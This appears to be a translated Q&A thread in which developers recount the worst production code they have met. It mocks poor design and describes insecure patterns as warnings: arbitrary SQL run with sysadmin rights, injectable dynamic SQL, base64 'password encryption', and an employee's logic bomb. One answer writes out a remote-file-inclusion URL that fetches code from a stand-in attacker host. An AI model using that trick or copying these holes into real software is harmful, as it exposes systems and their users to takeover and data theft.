76

您在公司的生产环境中见过的最邪恶或最危险的代码片段是什么?我从来没有遇到过我认为是故意恶意和邪恶的生产代码,所以我很想看看其他人发现了什么。

我见过的最危险的代码是一个存储过程,它距离我们的核心生产数据库服务器有两个链接服务器。存储过程接受任何 NVARCHAR(8000) 参数并通过双跳 sp_executeSQL 命令在目标生产服务器上执行该参数。也就是说,sp_executeSQL 命令执行了另一个 sp_executeSQL 命令,以便跳转两个链接的服务器。哦,链接服务器帐户在目标生产服务器上具有系统管理员权限。

4

37 回答 37

330

警告:前面很长的可怕帖子

我在此处此处写过关于我之前处理过的一个应用程序的文章。简单来说,我公司从印度继承了13万行垃圾。该应用程序是用 C# 编写的;这是一个柜员应用程序,每当你去银行时,柜员都会在柜台后面使用同样的软件。该应用程序每天崩溃 40-50 次,而且根本无法重构为工作代码。我的公司不得不在 12 个月的时间里重新编写整个应用程序。

为什么这个应用程序是邪恶的?因为看到源代码就足以让一个理智的人发疯和一个疯子的理智。用于编写此应用程序的扭曲逻辑只能受到洛夫克拉夫特式噩梦的启发。此应用程序的独特功能包括:

  • 在 130,000 行代码中,整个应用程序包含 5 个类(不包括表单文件)。所有这些都是公共静态类。一个类称为 Globals.cs,其中包含 1000 和 1000 和 1000 个公共静态变量,用于保存应用程序的整个状态。这五个类总共包含 20,000 行代码,其余代码嵌入在表单中。

  • 你不禁要问,程序员是如何在没有任何类的情况下编写出如此庞大的应用程序的?他们用什么来表示他们的数据对象?事实证明,通过简单地结合 ArrayLists、HashTables 和 DataTables,程序员成功地重新发明了我们所学到的有关 OOP 的一半概念。我们看到了很多这样的:

    • 哈希表的 ArrayLists
    • 具有字符串键和 DataRow 值的哈希表
    • 数据表的 ArrayLists
    • 包含 ArrayLists 的 DataRows 包含 HashTables
    • DataRows 的 ArrayLists
    • ArrayLists 的 ArrayLists
    • 带有字符串键和哈希表值的哈希表
    • ArrayLists of ArrayLists of HashTables
    • 您能想到的所有其他 ArrayLists、HashTables、DataTables 组合。

    请记住,上面的数据结构都不是强类型的,因此您必须将列表中的任何神秘对象转换为正确的类型。仅使用 ArrayLists、HashTables 和 DataTables 就可以创建什么样的复杂的、类似于 Rube Goldberg 的数据结构,这真是令人惊讶。

  • 为了分享如何使用上面详述的对象模型的示例,请考虑 Accounts:最初的程序员为帐户的每个可想象的属性创建了一个单独的 HashTable:一个名为 hstAcctExists、hstAcctNeedsOverride、hstAcctFirstName 的 HashTable。所有这些哈希表的键都是“|” 分隔的字符串。可以想象的键包括“123456|DDA”、“24100|SVG”、“100|LNS”等。

  • 由于整个应用程序的状态很容易从全局变量中访问,因此程序员发现没有必要将参数传递给方法。我会说 90% 的方法采用 0 个参数。在少数这样做的情况下,为了方便起见,所有参数都作为字符串传递,而不管字符串表示什么。

  • 不存在无副作用的功能。每个方法都修改了 Globals 类中的 1 个或多个变量。并非所有的副作用都有意义;例如,其中一种表单验证方法有一个神秘的副作用,即计算存储在 Globals.lngAcctNum 中的任何帐户的贷款多付和短付。

  • 尽管有很多形式,但有一种形式可以统治所有形式:frmMain.cs,其中包含高达 20,000 行的代码。frmMain 做了什么?一切。它查账、打印收据、分发现金,什么都做。

    有时其他表单需要调用 frmMain 上的方法。与其将表单中的代码分解为单独的类,不如直接调用代码:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • 为了查找帐户,程序员做了这样的事情:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    尽管它已经创建了一个不可见的表单来执行业务逻辑,但您认为该表单如何知道要查找哪个帐户?这很简单:表单可以访问 Globals.lngAcctNum 和 Globals.strAcctType。(谁不喜欢匈牙利符号?)

  • 代码重用是 ctrl-c、ctrl-v 的同义词。我发现 200 行方法在 20 个表单中复制/粘贴。

  • 该应用程序有一个奇怪的线程模型,我喜欢称之为线程和定时器模型:每个生成线程的窗体上都有一个定时器。产生的每个线程都会启动一个延迟 200 毫秒的计时器;一旦计时器启动,它会检查线程是否设置了一些魔法布尔值,然后它会中止线程。产生的 ThreadAbortException 被吞下。

    你会认为你只会看到一次这种模式,但我至少在 10 个不同的地方发现了它。

  • 说到线程,关键字“lock”从未出现在应用程序中。线程自由地操纵全局状态而无需锁定。

  • 应用程序中的每个方法都包含一个 try/catch 块。每个异常都被记录并吞下。

  • 开启字符串时谁需要开启枚举同样简单!

  • 一些天才发现您可以将多个表单控件连接到同一个事件处理程序。程序员是如何处理这个问题的?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • 同一位天才还发现了光荣的三元算子。以下是一些代码示例:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • 这是一个代码片段,它演示了 StringBuilder 的典型误用。请注意程序员如何在循环中连接字符串,然后将生成的字符串附加到 StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • 表上不存在主键、索引或外键约束,几乎所有字段都是 varchar(50) 类型,并且 100% 的字段可以为空。有趣的是,位域不用于存储布尔数据。而是使用了 char(1) 字段,字符“Y”和“N”分别用于表示真假。

    • 说到数据库,这里有一个存储过程的代表性示例:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

尽管如此,这个 130,000 行应用程序的最大问题是:没有单元测试。

是的,我已经把这个故事发给了 TheDailyWTF,然后我辞掉了工作。

于 2009-01-12T05:50:51.283 回答
69

在一个接受信用卡付款的系统中,我们曾经存储完整的信用卡号以及姓名、到期日期等。

事实证明这是非法的,考虑到我们当时正在为司法部编写程序,这具有讽刺意味。

于 2009-01-12T07:12:46.703 回答
69

我见过这样的密码加密功能

function EncryptPassword($password)
{
    return base64_encode($password);
}
于 2009-01-12T08:14:59.853 回答
30

这是一段商业代码中的错误处理例程:

/* FIXME! */
while (TRUE)
    ;

我应该找出“应用程序不断锁定”的原因。

于 2009-05-29T17:57:11.110 回答
28

一次组合所有以下 PHP 的“功能”。

  1. 注册全局变量
  2. 变量变量
  3. 通过 include("http:// ... "); 包含远程文件和代码
  4. 真正可怕的数组/变量名称(文字示例):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (在我意识到它们不是同一个变量之前,我确实花了一个小时试图弄清楚它是如何工作的)

  5. 包括 50 个文件,每个文件包括 50 个文件,并且以有条件和不可预测的方式在所有 50 个文件中线性/程序地执行内容。

对于那些不知道变量变量的人:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

现在考虑 $x 包含来自您的 URL 的值( register globals magic ),因此在您的代码中任何地方都不清楚您使用的变量是什么,因为它全部由 url 决定。

现在考虑当该变量的内容可以是网站用户指定的 url 时会发生什么。是的,这对您来说可能没有意义,但它会创建一个名为该 url 的变量,即:

$http://google.com,

除了不能直接访问之外,您必须通过上面的双 $ 技术使用它。

此外,当用户可以在 URL 上指定一个变量来指示要包含的文件时,会有一些讨厌的技巧,例如

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

如果该变量出现在include($include)

'evilcode.php' 打印出它的纯文本代码,而 PHP 没有得到适当的保护,php 将直接下载 evilcode.php,并以 Web 服务器的用户身份执行它。

网络服务器会给它所有的权限等等,允许shell调用,下载任意二进制文件并运行它们等等,直到最终你想知道为什么你有一个磁盘空间不足的盒子,一个目录有8GB的盗版电影意大利配音,通过机器人在 IRC 上共享。

我很庆幸我发现在运行攻击的脚本之前的暴行决定做一些非常危险的事情,比如从或多或少不安全的数据库中获取极其机密的信息:|

(我可以用那个代码库每天招待dailywtf 6个月,我不骗你。我在逃避那个代码后发现dailywtf真是太遗憾了)

于 2009-01-12T04:48:37.773 回答
28

在主项目头文件中,来自一位老手 COBOL 程序员,他莫名其妙地用 C 编写了一个编译器:

int i, j, k;

“因此,如果您忘记声明循环变量,就不会出现编译器错误。”

于 2010-04-11T07:25:00.010 回答
25

Windows 安装程序。

于 2009-01-12T04:14:38.683 回答
20

这篇文章如何编写不可维护的代码涵盖了人类已知的一些最出色的技术。我最喜欢的一些是:


婴儿名字的新用途

购买一本婴儿命名书,您将永远不会因为变量名而不知所措。Fred 是一个很棒的名字,而且易于输入。如果您正在寻找易于键入的变量名称,如果您使用 DSK 键盘键入,请尝试使用 adsf 或 aoeu。

创意拼写错误

如果您必须使用描述性变量和函数名称,请拼错它们。通过在某些函数和变量名称中拼写错误,并在其他名称中正确拼写(例如 SetPintleOpening SetPintalClosing),我们有效地否定了 grep 或 IDE 搜索技术的使用。它工作得非常好。通过在不同的剧院/剧院拼写 tory 或 tori 添加国际风味。

是抽象的

在命名函数和变量时,大量使用抽象词,如it、everything、data、handle、stuff、do、routine、perform 和数字,例如routineX48、PerformDataFunction、DoIt、HandleStuff 和do_args_method。

大写

将单词中间的音节的第一个字母随机大写。例如 ComputeRasterHistoGram()。

小写 l 看起来很像数字 1

使用小写 l 表示长常量。例如,10L 更容易被误认为是 101,而不是 10L。禁止任何明确消除歧义的字体 uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}。要有创意。

回收你的变量

只要范围规则允许,就可以重用现有的不相关变量名。同样,将相同的临时变量用于两个不相关的目的(旨在节省堆栈槽)。对于恶魔般的变体,对变量进行变形,例如,在一个很长的方法的顶部为变量赋值,然后在中间的某个地方,以一种微妙的方式改变变量的含义,例如将其从基于 0 的坐标到基于 1 的坐标。一定不要记录这种意义的变化。

cd wrttn wtht vwls s mch trsr

在变量或方法名称中使用缩写时,用同一个词的多个变体来打破无聊,甚至偶尔用手写的方式拼出来。这有助于击败那些使用文本搜索仅了解程序的某些方面的懒惰的流浪汉。将变体拼写视为策略上的变体,例如混合国际颜色、美国颜色和老兄的 kulerz。如果您拼写全名,则每个名称只有一种可能的拼写方式。这些对于维护程序员来说太容易记住了。因为有很多不同的方式来缩写一个单词,所以使用缩写,你可以有几个不同的变量,它们都有相同的明显目的。作为额外的好处,维护程序员甚至可能不会注意到它们是单独的变量。

晦涩的电影参考

使用像 LancelotsFavouriteColour 这样的常量名称而不是蓝色,并为其分配十六进制值 $0204FB。颜色看起来与屏幕上的纯蓝色相同,维护程序员必须计算出 0204FB(或使用一些图形工具)才能知道它的外观。只有熟悉巨蟒和圣杯的人才知道兰斯洛特最喜欢的颜色是蓝色。如果维护程序员不能从记忆中引用整部 Monty Python 电影,那么他或她就没有资格成为程序员。

记录明显的

在代码中加上 /* add 1 to i */ 之类的注释,但是,永远不要记录诸如包或方法的总体用途之类的毛茸茸的东西。

记录如何不为什么

只记录程序所做的事情的细节,而不是它试图完成的事情。这样,如果有错误,修复者将不知道代码应该做什么。

副作用

在 C 中,函数应该是幂等的(没有副作用)。我希望这个提示就足够了。

使用八进制

将八进制文字走私到十进制数字列表中,如下所示:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

扩展的 ASCII

扩展的 ASCII 字符作为变量名完全有效,包括 ß、Ð 和 ñ 字符。如果不在简单的文本编辑器中复制/粘贴,它们几乎是不可能输入的。

其他语言的名字

使用外语词典作为变量名的来源。例如,使用德国 punkt 表示点。维护编码员,无需您对德语的牢牢掌握,将享受破译含义的多元文化体验。

数学中的名字

选择伪装成数学运算符的变量名称,例如:

openParen = (slash + asterix) / equals;

伪装成注释的代码,反之亦然

包括被注释掉但乍一看似乎没有注释的代码部分。

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

如果没有颜色编码,你会注意到三行代码被注释掉了吗?

伪装成关键字的任意名称

记录时,您需要一个任意名称来表示文件名,请使用“文件”。切勿使用明显任意的名称,例如“Charlie.dat”或“Frodo.txt”。通常,在您的示例中,使用听起来尽可能像保留关键字的任意名称。例如,参数或变量的好名称是“bank”、“blank”、“class”、“const”、“constant”、“input”、“key”、“keyword”、“kind”、“output” 、“参数”、“参数”、“系统”、“类型”、“值”、“变量”和“变量”。如果您对任意名称使用实际的保留字,这将被您的命令处理器或编译器拒绝,那就更好了。如果你做得好,

代码名称不得与屏幕名称匹配

选择您的变量名称,使其与在屏幕上显示此类变量时使用的标签完全无关。例如,在屏幕标签字段“邮政编码”,但在代码中调用相关变量“zip”。

选择最佳重载运算符

在 C++ 中,重载 +、-、*、/ 来做与加法、减法等完全无关的事情。毕竟,如果 Stroustroup 可以使用移位运算符进行 I/O,为什么你不应该同样有创意呢?如果你重载 +,请确保你以 i = i + 5; 与 i += 5 的含义完全不同;这是一个将重载运算符混淆提升为高级艺术的示例。重载“!” 类的运算符,但重载与反转或否定无关。让它返回一个整数。然后,为了得到它的逻辑值,你必须使用'!!'。然而,这颠倒了逻辑,所以 [drum roll] 你必须使用 '! !!'。不要混淆!运算符,它返回一个布尔值 0 或 1,带有 ~ 位逻辑否定运算符。

例外

我将让你了解一个鲜为人知的编码秘密。例外是背后的痛苦。正确编写的代码永远不会失败,因此异常实际上是不必要的。不要在他们身上浪费时间。子类化异常适用于那些知道他们的代码会失败的不称职的人。您可以通过在调用 System.exit() 的整个应用程序(在 main 中)中只有一个 try/catch 来大大简化您的程序。只需在每个方法标头上粘贴一组完全标准的抛出,无论它们实际上是否可以抛出任何异常。

魔法矩阵位置

在某些矩阵位置使用特殊值作为标志。一个不错的选择是与齐次坐标系一起使用的变换矩阵中的 [3][0] 元素。

重新审视魔法阵列插槽

如果您需要给定类型的多个变量,只需定义它们的数组,然后按数字访问它们。选择一个只有您知道且不记录的编号约定。并且不要费心为索引定义#define 常量。每个人都应该知道全局变量 widget[15] 是取消按钮。这只是在汇编代码中使用绝对数字地址的最新变体。

从不美化

永远不要使用自动源代码整理器(美化器)来保持代码对齐。游说让他们禁止他们进入您的公司,理由是他们在 PVCS/CVS(版本控制跟踪)中创建了虚假的增量,或者每个程序员都应该拥有自己的缩进风格,对他编写的任何模块都永远神圣不可侵犯。坚持让其他程序员在“他的”模块中遵守那些特殊的约定。禁止美化器非常容易,尽管它们节省了数百万次手动对齐的击键,并且浪费了数天时间来误解对齐不佳的代码。只要坚持每个人都使用相同的整理格式,不仅用于存储在公共存储库中,而且在他们编辑时也是如此。这将启动 RWAR,而老板为了维持和平,将禁止自动整理。没有自动整理,您现在可以随意地意外错位代码,从而产生一种视觉错觉,即循环体和 if 比实际更长或更短,或者 else 子句匹配与实际不同的 if。例如

if(a)
  if(b) x=y;
else x=z;

测试是给懦夫的

勇敢的程序员会绕过这一步。太多的程序员害怕他们的老板,害怕失去工作,害怕客户讨厌的邮件,害怕被起诉。这种恐惧使行动瘫痪,并降低了生产力。研究表明,取消测试阶段意味着管理人员可以提前设定发货日期,这对计划过程有明显的帮助。恐惧消失了,创新和实验才能开花结果。程序员的角色是生成代码,调试可以通过帮助台和遗留维护组的合作来完成。

如果我们对自己的编码能力充满信心,那么测试将是不必要的。如果我们从逻辑上看,那么任何傻瓜都可以认识到测试甚至不是试图解决技术问题,而是情绪信心的问题。解决这种缺乏信心问题的更有效的解决方案是完全消除测试并将我们的程序员送到自尊课程。毕竟,如果我们选择做测试,那么我们必须测试每一个程序更改,但我们只需要让程序员参加一门关于建立自尊的课程。成本效益是显而易见的。

颠倒通常的真假约定

颠倒通常的真假定义。听起来很明显,但效果很好。您可以隐藏:

#define TRUE 0 
#define FALSE 1

代码深处的某个地方,以便从程序的内部从某个没人再看的文件中挖掘出来。然后强制程序进行如下比较:

if ( var == TRUE )
if ( var != FALSE )

有人一定会“纠正”明显的冗余,并以通常的方式在其他地方使用 var :

if ( var )

另一种技术是使 TRUE 和 FALSE 具有相同的值,尽管大多数人会认为这是彻头彻尾的作弊。使用值 1 和 2 或 -1 和 0 是一种更微妙的方式,可以让人们绊倒并仍然看起来很受人尊敬。您可以通过定义一个名为 TRUE 的静态常量在 Java 中使用相同的技术。程序员可能会更加怀疑你做的不好,因为 Java 中有一个内置的字面量 true。

利用精神分裂症

Java 对数组声明感到精神分裂。您可以使用旧的 C 方式 String x[](使用混合的前置后缀表示法)或新的方式 String[] x 使用纯前缀表示法。如果您真的想迷惑人们,请混合使用符号se.g。

byte[ ] rowvector, colvector , matrix[ ];

这相当于:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;
于 2010-04-11T07:46:36.310 回答
18

我不知道我是否会将代码称为“邪恶”,但我们有一个开发人员会创建Object[]数组而不是编写类。到处。

于 2009-01-12T04:18:38.443 回答
18

我已经看到(并发布到 thedailywtf)代码,该代码将让每个人在星期二对应用程序的重要部分拥有管理员权限。我猜原始开发人员在本地机器测试后忘记删除代码。

于 2009-01-12T04:41:57.803 回答
16

我不知道这是否是“邪恶”,甚至是被误导了(我最近将其发布在旧新事物上):

我认识一个喜欢将信息存储为分隔字符串的人。他熟悉数组的概念,如他使用分隔字符串数组时所示,但灯泡从未点亮。

于 2009-02-19T01:59:51.600 回答
14

Base 36 编码以将整数存储在字符串中。

我猜这个理论有点类似于:

  • 十六进制用于表示数字
  • 十六进制不使用F以外的字母,表示GZ被浪费了
  • 浪费是坏事

目前,我正在使用一个数据库,该数据库将事件可能发生的星期几存储为 7 位位域 (0-127),存储在数据库中作为 2 字符字符串,范围为“0”到“3J”。

于 2009-05-02T06:14:17.800 回答
13

我记得看到一个登录处理程序接受一个发布请求,并使用作为参数传入的用户名和密码重定向到 GET。这是针对“企业级”医疗系统的。

我在检查一些日志时注意到了这一点——我很想向 CEO 发送他的密码。

于 2009-02-19T02:29:44.837 回答
12

真正邪恶的是这段出色的德尔福代码:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

如果一个类只有一个实例,它会很好用。但不幸的是,我不得不使用另一个实例,这产生了很多有趣的错误。

当我找到这颗宝石时,我不记得我是昏倒还是尖叫,可能两者兼而有之。

于 2009-01-12T07:08:11.097 回答
12

也许不是邪恶的,但肯定是,嗯……被误导了。

我曾经不得不重写一个“自然语言解析器”,它被实现为一个 5,000 行的 if...then 语句。

如...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...
于 2010-04-10T09:56:53.547 回答
11

我在一个 ASP.NET MVC 站点中看到了一个以前只做过 Web 表单(并且是著名的复制/粘贴者!)的人的代码,该代码将客户端单击事件粘贴在一个<a>调用执行文档的 javascript 方法的标记上。地点。

我试图解释标签href上的a 会做同样的事情!<a>

于 2009-05-29T20:06:31.053 回答
10

有点邪恶……我认识的一个人在公司内部的主要网络应用程序中写了一封信,每天检查他是否在过去 10 天内登录过系统。如果没有他登录的记录,它将为公司中的每个人禁用该应用程序。

他一听到裁员的传言就写了这篇文章,如果他倒下了,公司将不得不遭受损失。

我知道这件事的唯一原因是他休了两个星期的假,当网站崩溃时我打电话给他。他告诉我用他的用户名/密码登录……一切又好了。

当然……几个月后,我们都被解雇了。

于 2010-06-09T20:13:10.940 回答
8

我的同事喜欢回忆起使用public static数据库连接进行所有数据库工作的 ASP.NET 应用程序。

是的,所有请求的一个连接。不,也没有锁定。

于 2009-01-12T07:04:30.900 回答
5

我记得必须设置 IIS 3 才能运行 Perl CGI 脚本(是的,那是很久以前的事了)。当时官方的推荐是把 Perl.exe 放到 cgi-bin 中。它有效,但它也让每个人都可以访问一个非常强大的脚本引擎!

于 2009-01-12T06:43:27.463 回答
5

任何设置邪恶位的符合RFC 3514的程序。

于 2009-05-29T17:42:20.737 回答
5

我们有一个应用程序,它在一个 xml 文件中加载了它的所有全局状态。没有问题,除了开发人员创建了一种新的递归形式。

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

然后是有趣的部分。当应用程序加载时,它会遍历属性列表并将它们添加到全局(平面)列表中,同时增加一个神秘计数器。神秘计数器被命名为完全不相关的东西,用于神秘计算:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

然后你会得到像

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

编辑:澄清-我花了很长时间才弄清楚他在计算递归的深度,因为在第 6 或第 7 级属性改变了含义,所以他使用计数器将他的平面集拆分为 2 组不同类型, 有点像拥有一个 STATE、STATE、STATE、CITY、CITY、CITY 的列表并检查 index > counter 以查看您的名字是城市还是州)

于 2010-02-04T02:11:18.077 回答
5

SQL 查询就在 ASP 应用程序中的 javascript 中。不能再脏了...

于 2010-06-09T18:38:50.150 回答
4

我们的一位“架构师”没有为需要持续运行的服务器进程编写 Windows 服务,而是编写了一个控制台应用程序,并使用任务调度程序每 60 秒运行一次。

请记住,这是在 .NET 中非常容易创建服务的地方。

--

此外,在同一个地方,控制台应用程序用于托管 .NET 远程服务,因此他们必须启动控制台应用程序并锁定会话以使其在每次重新启动服务器时保持运行。

--

在我工作的最后一个地方,其中一位架构师有一个C # 源代码文件,其中包含 100 多个类,大小约为 250K。

于 2009-05-29T17:34:43.513 回答
3

32 个源代码文件,每个文件超过 10K 行代码。每个都包含一个类。每个类都包含一个完成“一切”的方法

在我不得不重构之前调试该代码真是一场噩梦。

于 2010-02-01T09:11:04.010 回答
3

在较早的工作场所,我们继承了一个遗留项目,该项目早些时候已部分外包。主要应用程序是 Java,外包部分是本地 C 库。一旦我查看了 C 源文件。我列出了目录的内容。有几个大小超过 200K 的源文件。最大的 C 文件为600 KB

感谢上帝,我从来没有真正接触过它们:-)

于 2010-03-18T22:34:50.947 回答
3

当同事在国外的客户那里(安装所述程序)时,我得到了一组程序来推进。每个程序都出现了一个关键库,并且试图找出代码,我意识到一个程序与下一个程序之间存在微小差异。在一个公共图书馆。

意识到这一点,我对所有副本进行了文本比较。在 16 个中,我认为大约有 9 个独特的。我扔了一个合适的。

老板进行了干预,让同事们整理了一个看似普遍的版本。他们通过电子邮件发送了代码。我不知道,那里有带有不可打印字符的字符串,还有一些混合编码。电子邮件乱码它非常糟糕。

不可打印的字符用于将数据(所有字符串!)从服务器发送到客户端。因此,所有字符串在服务器端由 0x03 字符分隔,并使用 Split 函数在 C# 中重新组装客户端。

somwehat 理智的方法是:

someVariable.Split(Convert.ToChar(0x03);

更理智和友好的方法是使用常量:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

邪恶的方式是我的同事选择的:在 Visual Studio 中为 0x03 使用任何“打印”并将其放在引号之间:

someVariable.Split('/*unprintable character*/');

